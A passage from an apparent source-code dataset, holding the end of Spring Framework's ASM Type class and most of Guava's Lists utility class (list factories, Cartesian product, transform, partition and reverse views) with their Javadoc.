// Parse the argument types and compute their size, one at a each loop iteration.
while (currentChar != ')') {
if (currentChar == 'J' || currentChar == 'D') {
currentOffset++;
argumentsSize += 2;
} else {
while (methodDescriptor.charAt(currentOffset) == '[') {
currentOffset++;
}
if (methodDescriptor.charAt(currentOffset++) == 'L') {
// Skip the argument descriptor content.
int semiColumnOffset = methodDescriptor.indexOf(';', currentOffset);
currentOffset = Math.max(currentOffset, semiColumnOffset + 1);
}
argumentsSize += 1;
}
currentChar = methodDescriptor.charAt(currentOffset);
}
currentChar = methodDescriptor.charAt(currentOffset + 1);
if (currentChar == 'V') {
return argumentsSize << 2;
} else {
int returnSize = (currentChar == 'J' || currentChar == 'D') ? 2 : 1;
return argumentsSize << 2 | returnSize;
}
}
/**
* Returns a JVM instruction opcode adapted to this {@link Type}. This method must not be used for
* method types.
*
* @param opcode a JVM instruction opcode. This opcode must be one of ILOAD, ISTORE, IALOAD,
* IASTORE, IADD, ISUB, IMUL, IDIV, IREM, INEG, ISHL, ISHR, IUSHR, IAND, IOR, IXOR and
* IRETURN.
* @return an opcode that is similar to the given opcode, but adapted to this {@link Type}. For
* example, if this type is {@code float} and {@code opcode} is IRETURN, this method returns
* FRETURN.
*/
public int getOpcode(final int opcode) {
if (opcode == Opcodes.IALOAD || opcode == Opcodes.IASTORE) {
switch (sort) {
case BOOLEAN:
case BYTE:
return opcode + (Opcodes.BALOAD - Opcodes.IALOAD);
case CHAR:
return opcode + (Opcodes.CALOAD - Opcodes.IALOAD);
case SHORT:
return opcode + (Opcodes.SALOAD - Opcodes.IALOAD);
case INT:
return opcode;
case FLOAT:
return opcode + (Opcodes.FALOAD - Opcodes.IALOAD);
case LONG:
return opcode + (Opcodes.LALOAD - Opcodes.IALOAD);
case DOUBLE:
return opcode + (Opcodes.DALOAD - Opcodes.IALOAD);
case ARRAY:
case OBJECT:
case INTERNAL:
return opcode + (Opcodes.AALOAD - Opcodes.IALOAD);
case METHOD:
case VOID:
throw new UnsupportedOperationException();
default:
throw new AssertionError();
}
} else {
switch (sort) {
case VOID:
if (opcode != Opcodes.IRETURN) {
throw new UnsupportedOperationException();
}
return Opcodes.RETURN;
case BOOLEAN:
case BYTE:
case CHAR:
case SHORT:
case INT:
return opcode;
case FLOAT:
return opcode + (Opcodes.FRETURN - Opcodes.IRETURN);
case LONG:
return opcode + (Opcodes.LRETURN - Opcodes.IRETURN);
case DOUBLE:
return opcode + (Opcodes.DRETURN - Opcodes.IRETURN);
case ARRAY:
case OBJECT:
case INTERNAL:
if (opcode != Opcodes.ILOAD && opcode != Opcodes.ISTORE && opcode != Opcodes.IRETURN) {
throw new UnsupportedOperationException();
}
return opcode + (Opcodes.ARETURN - Opcodes.IRETURN);
case METHOD:
throw new UnsupportedOperationException();
default:
throw new AssertionError();
}
}
}
// -----------------------------------------------------------------------------------------------
// Equals, hashCode and toString.
// -----------------------------------------------------------------------------------------------
/**
* Tests if the given object is equal to this type.
*
* @param object the object to be compared to this type.
* @return {@literal true} if the given object is equal to this type.
*/
@Override
public boolean equals(final Object object) {
if (this == object) {
return true;
}
if (!(object instanceof Type)) {
return false;
}
Type other = (Type) object;
if ((sort == INTERNAL ? OBJECT : sort) != (other.sort == INTERNAL ? OBJECT : other.sort)) {
return false;
}
int begin = valueBegin;
int end = valueEnd;
int otherBegin = other.valueBegin;
int otherEnd = other.valueEnd;
// Compare the values.
if (end - begin != otherEnd - otherBegin) {
return false;
}
for (int i = begin, j = otherBegin; i < end; i++, j++) {
if (valueBuffer.charAt(i) != other.valueBuffer.charAt(j)) {
return false;
}
}
return true;
}
/**
* Returns a hash code value for this type.
*
* @return a hash code value for this type.
*/
@Override
public int hashCode() {
int hashCode = 13 * (sort == INTERNAL ? OBJECT : sort);
if (sort >= ARRAY) {
for (int i = valueBegin, end = valueEnd; i < end; i++) {
hashCode = 17 * (hashCode + valueBuffer.charAt(i));
}
}
return hashCode;
}
/**
* Returns a string representation of this type.
*
* @return the descriptor of this type.
*/
@Override
public String toString() {
return getDescriptor();
}
}
| spring-projects/spring-framework | spring-core/src/main/java/org/springframework/asm/Type.java |
1,381 | /*
* Copyright (C) 2007 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkElementIndex;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.base.Preconditions.checkPositionIndex;
import static com.google.common.base.Preconditions.checkPositionIndexes;
import static com.google.common.base.Preconditions.checkState;
import static com.google.common.collect.CollectPreconditions.checkNonnegative;
import static com.google.common.collect.CollectPreconditions.checkRemove;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.annotations.VisibleForTesting;
import com.google.common.base.Function;
import com.google.common.base.Objects;
import com.google.common.math.IntMath;
import com.google.common.primitives.Ints;
import java.io.Serializable;
import java.math.RoundingMode;
import java.util.AbstractList;
import java.util.AbstractSequentialList;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.ListIterator;
import java.util.NoSuchElementException;
import java.util.RandomAccess;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.function.Predicate;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* Static utility methods pertaining to {@link List} instances. Also see this class's counterparts
* {@link Sets}, {@link Maps} and {@link Queues}.
*
* <p>See the Guava User Guide article on <a href=
* "https://github.com/google/guava/wiki/CollectionUtilitiesExplained#lists">{@code Lists}</a>.
*
* @author Kevin Bourrillion
* @author Mike Bostock
* @author Louis Wasserman
* @since 2.0
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
public final class Lists {
private Lists() {}
// ArrayList
/**
* Creates a <i>mutable</i>, empty {@code ArrayList} instance (for Java 6 and earlier).
*
* <p><b>Note:</b> if mutability is not required, use {@link ImmutableList#of()} instead.
*
* <p><b>Note:</b> this method is now unnecessary and should be treated as deprecated. Instead,
* use the {@code ArrayList} {@linkplain ArrayList#ArrayList() constructor} directly, taking
* advantage of <a href="http://goo.gl/iz2Wi">"diamond" syntax</a>.
*/
@GwtCompatible(serializable = true)
public static <E extends @Nullable Object> ArrayList<E> newArrayList() {
return new ArrayList<>();
}
/**
* Creates a <i>mutable</i> {@code ArrayList} instance containing the given elements.
*
* <p><b>Note:</b> essentially the only reason to use this method is when you will need to add or
* remove elements later. Otherwise, for non-null elements use {@link ImmutableList#of()} (for
* varargs) or {@link ImmutableList#copyOf(Object[])} (for an array) instead. If any elements
* might be null, or you need support for {@link List#set(int, Object)}, use {@link
* Arrays#asList}.
*
* <p>Note that even when you do need the ability to add or remove, this method provides only a
* tiny bit of syntactic sugar for {@code newArrayList(}{@link Arrays#asList asList}{@code
* (...))}, or for creating an empty list then calling {@link Collections#addAll}. This method is
* not actually very useful and will likely be deprecated in the future.
*/
@SafeVarargs
@GwtCompatible(serializable = true)
@SuppressWarnings("nullness") // TODO: b/316358623 - Remove after checker fix.
public static <E extends @Nullable Object> ArrayList<E> newArrayList(E... elements) {
checkNotNull(elements); // for GWT
// Avoid integer overflow when a large array is passed in
int capacity = computeArrayListCapacity(elements.length);
ArrayList<E> list = new ArrayList<>(capacity);
Collections.addAll(list, elements);
return list;
}
/**
* Creates a <i>mutable</i> {@code ArrayList} instance containing the given elements; a very thin
* shortcut for creating an empty list then calling {@link Iterables#addAll}.
*
* <p><b>Note:</b> if mutability is not required and the elements are non-null, use {@link
* ImmutableList#copyOf(Iterable)} instead. (Or, change {@code elements} to be a {@link
* FluentIterable} and call {@code elements.toList()}.)
*
* <p><b>Note:</b> if {@code elements} is a {@link Collection}, you don't need this method. Use
* the {@code ArrayList} {@linkplain ArrayList#ArrayList(Collection) constructor} directly, taking
* advantage of <a href="http://goo.gl/iz2Wi">"diamond" syntax</a>.
*/
@GwtCompatible(serializable = true)
public static <E extends @Nullable Object> ArrayList<E> newArrayList(
Iterable<? extends E> elements) {
checkNotNull(elements); // for GWT
// Let ArrayList's sizing logic work, if possible
return (elements instanceof Collection)
? new ArrayList<>((Collection<? extends E>) elements)
: newArrayList(elements.iterator());
}
/**
* Creates a <i>mutable</i> {@code ArrayList} instance containing the given elements; a very thin
* shortcut for creating an empty list and then calling {@link Iterators#addAll}.
*
* <p><b>Note:</b> if mutability is not required and the elements are non-null, use {@link
* ImmutableList#copyOf(Iterator)} instead.
*/
@GwtCompatible(serializable = true)
public static <E extends @Nullable Object> ArrayList<E> newArrayList(
Iterator<? extends E> elements) {
ArrayList<E> list = newArrayList();
Iterators.addAll(list, elements);
return list;
}
@VisibleForTesting
static int computeArrayListCapacity(int arraySize) {
checkNonnegative(arraySize, "arraySize");
// TODO(kevinb): Figure out the right behavior, and document it
return Ints.saturatedCast(5L + arraySize + (arraySize / 10));
}
/**
* Creates an {@code ArrayList} instance backed by an array with the specified initial size;
* simply delegates to {@link ArrayList#ArrayList(int)}.
*
* <p><b>Note:</b> this method is now unnecessary and should be treated as deprecated. Instead,
* use {@code new }{@link ArrayList#ArrayList(int) ArrayList}{@code <>(int)} directly, taking
* advantage of <a href="http://goo.gl/iz2Wi">"diamond" syntax</a>. (Unlike here, there is no risk
* of overload ambiguity, since the {@code ArrayList} constructors very wisely did not accept
* varargs.)
*
* @param initialArraySize the exact size of the initial backing array for the returned array list
* ({@code ArrayList} documentation calls this value the "capacity")
* @return a new, empty {@code ArrayList} which is guaranteed not to resize itself unless its size
* reaches {@code initialArraySize + 1}
* @throws IllegalArgumentException if {@code initialArraySize} is negative
*/
@GwtCompatible(serializable = true)
public static <E extends @Nullable Object> ArrayList<E> newArrayListWithCapacity(
int initialArraySize) {
checkNonnegative(initialArraySize, "initialArraySize"); // for GWT.
return new ArrayList<>(initialArraySize);
}
/**
* Creates an {@code ArrayList} instance to hold {@code estimatedSize} elements, <i>plus</i> an
* unspecified amount of padding; you almost certainly mean to call {@link
* #newArrayListWithCapacity} (see that method for further advice on usage).
*
* <p><b>Note:</b> This method will soon be deprecated. Even in the rare case that you do want
* some amount of padding, it's best if you choose your desired amount explicitly.
*
* @param estimatedSize an estimate of the eventual {@link List#size()} of the new list
* @return a new, empty {@code ArrayList}, sized appropriately to hold the estimated number of
* elements
* @throws IllegalArgumentException if {@code estimatedSize} is negative
*/
@GwtCompatible(serializable = true)
public static <E extends @Nullable Object> ArrayList<E> newArrayListWithExpectedSize(
int estimatedSize) {
return new ArrayList<>(computeArrayListCapacity(estimatedSize));
}
// LinkedList
/**
* Creates a <i>mutable</i>, empty {@code LinkedList} instance (for Java 6 and earlier).
*
* <p><b>Note:</b> if you won't be adding any elements to the list, use {@link ImmutableList#of()}
* instead.
*
* <p><b>Performance note:</b> {@link ArrayList} and {@link java.util.ArrayDeque} consistently
* outperform {@code LinkedList} except in certain rare and specific situations. Unless you have
* spent a lot of time benchmarking your specific needs, use one of those instead.
*
* <p><b>Note:</b> this method is now unnecessary and should be treated as deprecated. Instead,
* use the {@code LinkedList} {@linkplain LinkedList#LinkedList() constructor} directly, taking
* advantage of <a href="http://goo.gl/iz2Wi">"diamond" syntax</a>.
*/
@GwtCompatible(serializable = true)
public static <E extends @Nullable Object> LinkedList<E> newLinkedList() {
return new LinkedList<>();
}
/**
* Creates a <i>mutable</i> {@code LinkedList} instance containing the given elements; a very thin
* shortcut for creating an empty list then calling {@link Iterables#addAll}.
*
* <p><b>Note:</b> if mutability is not required and the elements are non-null, use {@link
* ImmutableList#copyOf(Iterable)} instead. (Or, change {@code elements} to be a {@link
* FluentIterable} and call {@code elements.toList()}.)
*
* <p><b>Performance note:</b> {@link ArrayList} and {@link java.util.ArrayDeque} consistently
* outperform {@code LinkedList} except in certain rare and specific situations. Unless you have
* spent a lot of time benchmarking your specific needs, use one of those instead.
*
* <p><b>Note:</b> if {@code elements} is a {@link Collection}, you don't need this method. Use
* the {@code LinkedList} {@linkplain LinkedList#LinkedList(Collection) constructor} directly,
* taking advantage of <a href="http://goo.gl/iz2Wi">"diamond" syntax</a>.
*/
@GwtCompatible(serializable = true)
public static <E extends @Nullable Object> LinkedList<E> newLinkedList(
Iterable<? extends E> elements) {
LinkedList<E> list = newLinkedList();
Iterables.addAll(list, elements);
return list;
}
/**
* Creates an empty {@code CopyOnWriteArrayList} instance.
*
* <p><b>Note:</b> if you need an immutable empty {@link List}, use {@link Collections#emptyList}
* instead.
*
* @return a new, empty {@code CopyOnWriteArrayList}
* @since 12.0
*/
@J2ktIncompatible
@GwtIncompatible // CopyOnWriteArrayList
public static <E extends @Nullable Object> CopyOnWriteArrayList<E> newCopyOnWriteArrayList() {
return new CopyOnWriteArrayList<>();
}
/**
* Creates a {@code CopyOnWriteArrayList} instance containing the given elements.
*
* @param elements the elements that the list should contain, in order
* @return a new {@code CopyOnWriteArrayList} containing those elements
* @since 12.0
*/
@J2ktIncompatible
@GwtIncompatible // CopyOnWriteArrayList
public static <E extends @Nullable Object> CopyOnWriteArrayList<E> newCopyOnWriteArrayList(
Iterable<? extends E> elements) {
// We copy elements to an ArrayList first, rather than incurring the
// quadratic cost of adding them to the COWAL directly.
Collection<? extends E> elementsCollection =
(elements instanceof Collection)
? (Collection<? extends E>) elements
: newArrayList(elements);
return new CopyOnWriteArrayList<>(elementsCollection);
}
/**
* Returns an unmodifiable list containing the specified first element and backed by the specified
* array of additional elements. Changes to the {@code rest} array will be reflected in the
* returned list. Unlike {@link Arrays#asList}, the returned list is unmodifiable.
*
* <p>This is useful when a varargs method needs to use a signature such as {@code (Foo firstFoo,
* Foo... moreFoos)}, in order to avoid overload ambiguity or to enforce a minimum argument count.
*
* <p>The returned list is serializable and implements {@link RandomAccess}.
*
* @param first the first element
* @param rest an array of additional elements, possibly empty
* @return an unmodifiable list containing the specified elements
*/
public static <E extends @Nullable Object> List<E> asList(@ParametricNullness E first, E[] rest) {
return new OnePlusArrayList<>(first, rest);
}
/**
* Returns an unmodifiable list containing the specified first and second element, and backed by
* the specified array of additional elements. Changes to the {@code rest} array will be reflected
* in the returned list. Unlike {@link Arrays#asList}, the returned list is unmodifiable.
*
* <p>This is useful when a varargs method needs to use a signature such as {@code (Foo firstFoo,
* Foo secondFoo, Foo... moreFoos)}, in order to avoid overload ambiguity or to enforce a minimum
* argument count.
*
* <p>The returned list is serializable and implements {@link RandomAccess}.
*
* @param first the first element
* @param second the second element
* @param rest an array of additional elements, possibly empty
* @return an unmodifiable list containing the specified elements
*/
public static <E extends @Nullable Object> List<E> asList(
@ParametricNullness E first, @ParametricNullness E second, E[] rest) {
return new TwoPlusArrayList<>(first, second, rest);
}
/** @see Lists#asList(Object, Object[]) */
private static class OnePlusArrayList<E extends @Nullable Object> extends AbstractList<E>
implements Serializable, RandomAccess {
@ParametricNullness final E first;
final E[] rest;
OnePlusArrayList(@ParametricNullness E first, E[] rest) {
this.first = first;
this.rest = checkNotNull(rest);
}
@Override
public int size() {
return IntMath.saturatedAdd(rest.length, 1);
}
@Override
@ParametricNullness
public E get(int index) {
// check explicitly so the IOOBE will have the right message
checkElementIndex(index, size());
return (index == 0) ? first : rest[index - 1];
}
@J2ktIncompatible private static final long serialVersionUID = 0;
}
/** @see Lists#asList(Object, Object, Object[]) */
private static class TwoPlusArrayList<E extends @Nullable Object> extends AbstractList<E>
implements Serializable, RandomAccess {
@ParametricNullness final E first;
@ParametricNullness final E second;
final E[] rest;
TwoPlusArrayList(@ParametricNullness E first, @ParametricNullness E second, E[] rest) {
this.first = first;
this.second = second;
this.rest = checkNotNull(rest);
}
@Override
public int size() {
return IntMath.saturatedAdd(rest.length, 2);
}
@Override
@ParametricNullness
public E get(int index) {
switch (index) {
case 0:
return first;
case 1:
return second;
default:
// check explicitly so the IOOBE will have the right message
checkElementIndex(index, size());
return rest[index - 2];
}
}
@J2ktIncompatible private static final long serialVersionUID = 0;
}
/**
* Returns every possible list that can be formed by choosing one element from each of the given
* lists in order; the "n-ary <a href="http://en.wikipedia.org/wiki/Cartesian_product">Cartesian
* product</a>" of the lists. For example:
*
* <pre>{@code
* Lists.cartesianProduct(ImmutableList.of(
* ImmutableList.of(1, 2),
* ImmutableList.of("A", "B", "C")))
* }</pre>
*
* <p>returns a list containing six lists in the following order:
*
* <ul>
* <li>{@code ImmutableList.of(1, "A")}
* <li>{@code ImmutableList.of(1, "B")}
* <li>{@code ImmutableList.of(1, "C")}
* <li>{@code ImmutableList.of(2, "A")}
* <li>{@code ImmutableList.of(2, "B")}
* <li>{@code ImmutableList.of(2, "C")}
* </ul>
*
* <p>The result is guaranteed to be in the "traditional", lexicographical order for Cartesian
* products that you would get from nesting for loops:
*
* <pre>{@code
* for (B b0 : lists.get(0)) {
* for (B b1 : lists.get(1)) {
* ...
* ImmutableList<B> tuple = ImmutableList.of(b0, b1, ...);
* // operate on tuple
* }
* }
* }</pre>
*
* <p>Note that if any input list is empty, the Cartesian product will also be empty. If no lists
* at all are provided (an empty list), the resulting Cartesian product has one element, an empty
* list (counter-intuitive, but mathematically consistent).
*
* <p><i>Performance notes:</i> while the cartesian product of lists of size {@code m, n, p} is a
* list of size {@code m x n x p}, its actual memory consumption is much smaller. When the
* cartesian product is constructed, the input lists are merely copied. Only as the resulting list
* is iterated are the individual lists created, and these are not retained after iteration.
*
* @param lists the lists to choose elements from, in the order that the elements chosen from
* those lists should appear in the resulting lists
* @param <B> any common base class shared by all axes (often just {@link Object})
* @return the Cartesian product, as an immutable list containing immutable lists
* @throws IllegalArgumentException if the size of the cartesian product would be greater than
* {@link Integer#MAX_VALUE}
* @throws NullPointerException if {@code lists}, any one of the {@code lists}, or any element of
* a provided list is null
* @since 19.0
*/
public static <B> List<List<B>> cartesianProduct(List<? extends List<? extends B>> lists) {
return CartesianList.create(lists);
}
/**
* Returns every possible list that can be formed by choosing one element from each of the given
* lists in order; the "n-ary <a href="http://en.wikipedia.org/wiki/Cartesian_product">Cartesian
* product</a>" of the lists. For example:
*
* <pre>{@code
* Lists.cartesianProduct(ImmutableList.of(
* ImmutableList.of(1, 2),
* ImmutableList.of("A", "B", "C")))
* }</pre>
*
* <p>returns a list containing six lists in the following order:
*
* <ul>
* <li>{@code ImmutableList.of(1, "A")}
* <li>{@code ImmutableList.of(1, "B")}
* <li>{@code ImmutableList.of(1, "C")}
* <li>{@code ImmutableList.of(2, "A")}
* <li>{@code ImmutableList.of(2, "B")}
* <li>{@code ImmutableList.of(2, "C")}
* </ul>
*
* <p>The result is guaranteed to be in the "traditional", lexicographical order for Cartesian
* products that you would get from nesting for loops:
*
* <pre>{@code
* for (B b0 : lists.get(0)) {
* for (B b1 : lists.get(1)) {
* ...
* ImmutableList<B> tuple = ImmutableList.of(b0, b1, ...);
* // operate on tuple
* }
* }
* }</pre>
*
* <p>Note that if any input list is empty, the Cartesian product will also be empty. If no lists
* at all are provided (an empty list), the resulting Cartesian product has one element, an empty
* list (counter-intuitive, but mathematically consistent).
*
* <p><i>Performance notes:</i> while the cartesian product of lists of size {@code m, n, p} is a
* list of size {@code m x n x p}, its actual memory consumption is much smaller. When the
* cartesian product is constructed, the input lists are merely copied. Only as the resulting list
* is iterated are the individual lists created, and these are not retained after iteration.
*
* @param lists the lists to choose elements from, in the order that the elements chosen from
* those lists should appear in the resulting lists
* @param <B> any common base class shared by all axes (often just {@link Object})
* @return the Cartesian product, as an immutable list containing immutable lists
* @throws IllegalArgumentException if the size of the cartesian product would be greater than
* {@link Integer#MAX_VALUE}
* @throws NullPointerException if {@code lists}, any one of the {@code lists}, or any element of
* a provided list is null
* @since 19.0
*/
@SafeVarargs
public static <B> List<List<B>> cartesianProduct(List<? extends B>... lists) {
return cartesianProduct(Arrays.asList(lists));
}
/**
* Returns a list that applies {@code function} to each element of {@code fromList}. The returned
* list is a transformed view of {@code fromList}; changes to {@code fromList} will be reflected
* in the returned list and vice versa.
*
* <p>Since functions are not reversible, the transform is one-way and new items cannot be stored
* in the returned list. The {@code add}, {@code addAll} and {@code set} methods are unsupported
* in the returned list.
*
* <p>The function is applied lazily, invoked when needed. This is necessary for the returned list
* to be a view, but it means that the function will be applied many times for bulk operations
* like {@link List#contains} and {@link List#hashCode}. For this to perform well, {@code
* function} should be fast. To avoid lazy evaluation when the returned list doesn't need to be a
* view, copy the returned list into a new list of your choosing.
*
* <p>If {@code fromList} implements {@link RandomAccess}, so will the returned list. The returned
* list is threadsafe if the supplied list and function are.
*
* <p>If only a {@code Collection} or {@code Iterable} input is available, use {@link
* Collections2#transform} or {@link Iterables#transform}.
*
* <p><b>Note:</b> serializing the returned list is implemented by serializing {@code fromList},
* its contents, and {@code function} -- <i>not</i> by serializing the transformed values. This
* can lead to surprising behavior, so serializing the returned list is <b>not recommended</b>.
* Instead, copy the list using {@link ImmutableList#copyOf(Collection)} (for example), then
* serialize the copy. Other methods similar to this do not implement serialization at all for
* this reason.
*
* <p><b>Java 8+ users:</b> many use cases for this method are better addressed by {@link
* java.util.stream.Stream#map}. This method is not being deprecated, but we gently encourage you
* to migrate to streams.
*/
public static <F extends @Nullable Object, T extends @Nullable Object> List<T> transform(
List<F> fromList, Function<? super F, ? extends T> function) {
return (fromList instanceof RandomAccess)
? new TransformingRandomAccessList<>(fromList, function)
: new TransformingSequentialList<>(fromList, function);
}
/**
* Implementation of a sequential transforming list.
*
* @see Lists#transform
*/
private static class TransformingSequentialList<
F extends @Nullable Object, T extends @Nullable Object>
extends AbstractSequentialList<T> implements Serializable {
final List<F> fromList;
final Function<? super F, ? extends T> function;
TransformingSequentialList(List<F> fromList, Function<? super F, ? extends T> function) {
this.fromList = checkNotNull(fromList);
this.function = checkNotNull(function);
}
/**
* The default implementation inherited is based on iteration and removal of each element which
* can be overkill. That's why we forward this call directly to the backing list.
*/
@Override
protected void removeRange(int fromIndex, int toIndex) {
fromList.subList(fromIndex, toIndex).clear();
}
@Override
public int size() {
return fromList.size();
}
@Override
public boolean isEmpty() {
return fromList.isEmpty();
}
@Override
public ListIterator<T> listIterator(final int index) {
return new TransformedListIterator<F, T>(fromList.listIterator(index)) {
@Override
@ParametricNullness
T transform(@ParametricNullness F from) {
return function.apply(from);
}
};
}
@Override
public boolean removeIf(Predicate<? super T> filter) {
checkNotNull(filter);
return fromList.removeIf(element -> filter.test(function.apply(element)));
}
private static final long serialVersionUID = 0;
}
/**
* Implementation of a transforming random access list. We try to make as many of these methods
* pass-through to the source list as possible so that the performance characteristics of the
* source list and transformed list are similar.
*
* @see Lists#transform
*/
private static class TransformingRandomAccessList<
F extends @Nullable Object, T extends @Nullable Object>
extends AbstractList<T> implements RandomAccess, Serializable {
final List<F> fromList;
final Function<? super F, ? extends T> function;
TransformingRandomAccessList(List<F> fromList, Function<? super F, ? extends T> function) {
this.fromList = checkNotNull(fromList);
this.function = checkNotNull(function);
}
/**
* The default implementation inherited is based on iteration and removal of each element which
* can be overkill. That's why we forward this call directly to the backing list.
*/
@Override
protected void removeRange(int fromIndex, int toIndex) {
fromList.subList(fromIndex, toIndex).clear();
}
@Override
@ParametricNullness
public T get(int index) {
return function.apply(fromList.get(index));
}
@Override
public Iterator<T> iterator() {
return listIterator();
}
@Override
public ListIterator<T> listIterator(int index) {
return new TransformedListIterator<F, T>(fromList.listIterator(index)) {
@Override
T transform(F from) {
return function.apply(from);
}
};
}
@Override
public boolean isEmpty() {
return fromList.isEmpty();
}
@Override
public boolean removeIf(Predicate<? super T> filter) {
checkNotNull(filter);
return fromList.removeIf(element -> filter.test(function.apply(element)));
}
@Override
@ParametricNullness
public T remove(int index) {
return function.apply(fromList.remove(index));
}
@Override
public int size() {
return fromList.size();
}
private static final long serialVersionUID = 0;
}
/**
* Returns consecutive {@linkplain List#subList(int, int) sublists} of a list, each of the same
* size (the final list may be smaller). For example, partitioning a list containing {@code [a, b,
* c, d, e]} with a partition size of 3 yields {@code [[a, b, c], [d, e]]} -- an outer list
* containing two inner lists of three and two elements, all in the original order.
*
* <p>The outer list is unmodifiable, but reflects the latest state of the source list. The inner
* lists are sublist views of the original list, produced on demand using {@link List#subList(int,
* int)}, and are subject to all the usual caveats about modification as explained in that API.
*
* @param list the list to return consecutive sublists of
* @param size the desired size of each sublist (the last may be smaller)
* @return a list of consecutive sublists
* @throws IllegalArgumentException if {@code partitionSize} is nonpositive
*/
public static <T extends @Nullable Object> List<List<T>> partition(List<T> list, int size) {
checkNotNull(list);
checkArgument(size > 0);
return (list instanceof RandomAccess)
? new RandomAccessPartition<>(list, size)
: new Partition<>(list, size);
}
private static class Partition<T extends @Nullable Object> extends AbstractList<List<T>> {
final List<T> list;
final int size;
Partition(List<T> list, int size) {
this.list = list;
this.size = size;
}
@Override
public List<T> get(int index) {
checkElementIndex(index, size());
int start = index * size;
int end = Math.min(start + size, list.size());
return list.subList(start, end);
}
@Override
public int size() {
return IntMath.divide(list.size(), size, RoundingMode.CEILING);
}
@Override
public boolean isEmpty() {
return list.isEmpty();
}
}
private static class RandomAccessPartition<T extends @Nullable Object> extends Partition<T>
implements RandomAccess {
RandomAccessPartition(List<T> list, int size) {
super(list, size);
}
}
/**
* Returns a view of the specified string as an immutable list of {@code Character} values.
*
* @since 7.0
*/
public static ImmutableList<Character> charactersOf(String string) {
return new StringAsImmutableList(checkNotNull(string));
}
/**
* Returns a view of the specified {@code CharSequence} as a {@code List<Character>}, viewing
* {@code sequence} as a sequence of Unicode code units. The view does not support any
* modification operations, but reflects any changes to the underlying character sequence.
*
* @param sequence the character sequence to view as a {@code List} of characters
* @return an {@code List<Character>} view of the character sequence
* @since 7.0
*/
public static List<Character> charactersOf(CharSequence sequence) {
return new CharSequenceAsList(checkNotNull(sequence));
}
@SuppressWarnings("serial") // serialized using ImmutableList serialization
private static final class StringAsImmutableList extends ImmutableList<Character> {
private final String string;
StringAsImmutableList(String string) {
this.string = string;
}
@Override
public int indexOf(@CheckForNull Object object) {
return (object instanceof Character) ? string.indexOf((Character) object) : -1;
}
@Override
public int lastIndexOf(@CheckForNull Object object) {
return (object instanceof Character) ? string.lastIndexOf((Character) object) : -1;
}
@Override
public ImmutableList<Character> subList(int fromIndex, int toIndex) {
checkPositionIndexes(fromIndex, toIndex, size()); // for GWT
return charactersOf(string.substring(fromIndex, toIndex));
}
@Override
boolean isPartialView() {
return false;
}
@Override
public Character get(int index) {
checkElementIndex(index, size()); // for GWT
return string.charAt(index);
}
@Override
public int size() {
return string.length();
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
}
private static final class CharSequenceAsList extends AbstractList<Character> {
private final CharSequence sequence;
CharSequenceAsList(CharSequence sequence) {
this.sequence = sequence;
}
@Override
public Character get(int index) {
checkElementIndex(index, size()); // for GWT
return sequence.charAt(index);
}
@Override
public int size() {
return sequence.length();
}
}
/**
* Returns a reversed view of the specified list. For example, {@code
* Lists.reverse(Arrays.asList(1, 2, 3))} returns a list containing {@code 3, 2, 1}. The returned
* list is backed by this list, so changes in the returned list are reflected in this list, and
* vice-versa. The returned list supports all of the optional list operations supported by this
* list.
*
* <p>The returned list is random-access if the specified list is random access.
*
* @since 7.0
*/
public static <T extends @Nullable Object> List<T> reverse(List<T> list) {
if (list instanceof ImmutableList) {
// Avoid nullness warnings.
List<?> reversed = ((ImmutableList<?>) list).reverse();
@SuppressWarnings("unchecked")
List<T> result = (List<T>) reversed;
return result;
} else if (list instanceof ReverseList) {
return ((ReverseList<T>) list).getForwardList();
} else if (list instanceof RandomAccess) {
return new RandomAccessReverseList<>(list);
} else {
return new ReverseList<>(list);
}
}
private static class ReverseList<T extends @Nullable Object> extends AbstractList<T> {
private final List<T> forwardList;
ReverseList(List<T> forwardList) {
this.forwardList = checkNotNull(forwardList);
}
List<T> getForwardList() {
return forwardList;
}
private int reverseIndex(int index) {
int size = size();
checkElementIndex(index, size);
return (size - 1) - index;
}
private int reversePosition(int index) {
int size = size();
checkPositionIndex(index, size);
return size - index;
}
@Override
public void add(int index, @ParametricNullness T element) {
forwardList.add(reversePosition(index), element);
}
@Override
public void clear() {
forwardList.clear();
}
@Override
@ParametricNullness
public T remove(int index) {
return forwardList.remove(reverseIndex(index));
}
@Override
protected void removeRange(int fromIndex, int toIndex) {
subList(fromIndex, toIndex).clear();
}
@Override
@ParametricNullness
public T set(int index, @ParametricNullness T element) {
return forwardList.set(reverseIndex(index), element);
}
@Override
@ParametricNullness
public T get(int index) {
return forwardList.get(reverseIndex(index));
}
@Override
public int size() {
return forwardList.size();
}
@Override
public List<T> subList(int fromIndex, int toIndex) {
checkPositionIndexes(fromIndex, toIndex, size());
return reverse(forwardList.subList(reversePosition(toIndex), reversePosition(fromIndex)));
}
@Override
public Iterator<T> iterator() {
return listIterator();
}
@Override
public ListIterator<T> listIterator(int index) {
int start = reversePosition(index);
final ListIterator<T> forwardIterator = forwardList.listIterator(start);
return new ListIterator<T>() {
boolean canRemoveOrSet;
@Override
public void add(@ParametricNullness T e) {
forwardIterator.add(e);
forwardIterator.previous();
canRemoveOrSet = false;
}
@Override
public boolean hasNext() {
return forwardIterator.hasPrevious();
}
@Override
public boolean hasPrevious() {
return forwardIterator.hasNext();
}
@Override
@ParametricNullness
public T next() {
if (!hasNext()) {
throw new NoSuchElementException();
}
canRemoveOrSet = true;
return forwardIterator.previous();
}
@Override
